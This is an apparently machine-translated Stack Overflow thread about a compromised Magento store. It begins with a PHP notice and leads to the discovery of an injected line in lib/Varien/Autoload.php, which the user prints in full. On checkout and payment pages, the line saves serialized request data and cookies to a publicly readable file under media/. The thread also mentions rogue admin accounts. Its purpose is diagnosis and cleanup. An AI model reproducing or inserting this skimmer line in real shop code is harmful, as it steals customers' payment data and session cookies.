Уведомление Mage PHP: неопределенный индекс: REQUEST_URI в /htdocs/lib/Varien/Autoload.php в строке 1

С сегодняшнего утра я получаю следующее уведомление PHP после запуска cronjob Magento:

Неопределенный индекс: REQUEST_URI в /htdocs/lib/Varien/Autoload.php в строке 1.

Я не модифицировал ни один из файлов мага. Как это возможно?

РЕДАКТИРОВАТЬ: На данный момент я отредактировал Autoload.php, чтобы сначала проверить, установлен ли REQUEST_URI.

Оригинал:

<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))

Новый:

<?php if(isset($_SERVER["REQUEST_URI"]) && preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"]))

РЕДАКТИРОВАТЬ 30-04-2015:

Прочитав комментарии @volkan и @b.enoit.be, я тут же заменил указанную страницу на исходную из Magento, и строки действительно не было!.

Следующая вредоносная строка присутствовала в Autoload.php.

<?php if(preg_match("/checkout|payment/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/catalog/product/cache_catalogs", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?>

Я также проверил:

  • /js/index.php как в оригинале
  • /index.php как в оригинале
  • Модуль Magpleasure_Filesystem не присутствовал

Однако… появились два новых пользователя-администратора с непонятными именами:

  • резервная копия - [email protected] ‹-- этот домен ведет на страницу удержания домена, а электронное письмо дает результаты на русском языке в Google.
  • база данных[email protected]

Оба пользователя удалены. Веб-сайт также был уязвим для эксплойта магазинной кражи (который исправлен в последнем патче безопасности).

В настоящее время мы заняты установкой последних исправлений безопасности.

Кажется, это была недавняя проблема:

100 000 интернет-магазинов открыты для взлома, поскольку злоумышленники используют ошибку Magento Magento Shoplift Bug Tester v1.0

Спасибо всем пользователям за помощь.


person StavroX    schedule 29.04.2015    source источник
comment
Вы не изменили способ запуска cronjob? Мог ли быть обновлен PHP? Никаких изменений в файле php.ini?   -  person adrien54    schedule 29.04.2015
comment
Нет, ни то, ни другое. На сервере работает PHP (5.5.23-1)   -  person StavroX    schedule 29.04.2015
comment
Тогда я не знаю, почему ошибка не возникала раньше, но причина, вероятно, в том, что вы запускаете свой PHP-скрипт (cron.php) из командной строки, а не из браузера, поэтому эта серверная переменная никогда не определяется.   -  person adrien54    schedule 29.04.2015
comment
Это то, что я пытался понять, раньше это работало, а теперь вдруг выдает Undefined index. Задание cron определяется как: */5 * * * * php /var/www/website.com/cron.php   -  person StavroX    schedule 29.04.2015
comment
Однако в lib/Varien/Autoload.php нет такой вещи, как $_SERVER["REQUEST_URI"]... может быть, вы установили какой-то дрянной модуль?   -  person β.εηοιτ.βε    schedule 30.04.2015
comment
Я также вижу пользователя-администратора с [email protected] -- я не знаком с ним, но PM предполагает, что это может быть связано с модулем резервного копирования Siteground. Вы используете Siteground?   -  person pspahn    schedule 29.05.2015


Ответы (2)


похоже, что ваша страница была скомпрометирована, замените файл оригинальным и установите исправления безопасности для magento. Проверьте, есть ли новые пользователи-админы в бэкенде, и для модуля Magpleasure_Filesystem

проверьте также /js/index.php /index.php

person volkan    schedule 30.04.2015

Это определенно скомпрометированный файл.

Если кто-то еще столкнется с такой же проблемой, файл media/catalog/product/cache_catalogs также следует удалить, поскольку он содержит конфиденциальные данные (запросы и данные cookie со страниц оформления заказа или оплаты) и является общедоступным (в папке media/).

person SeL    schedule 15.03.2016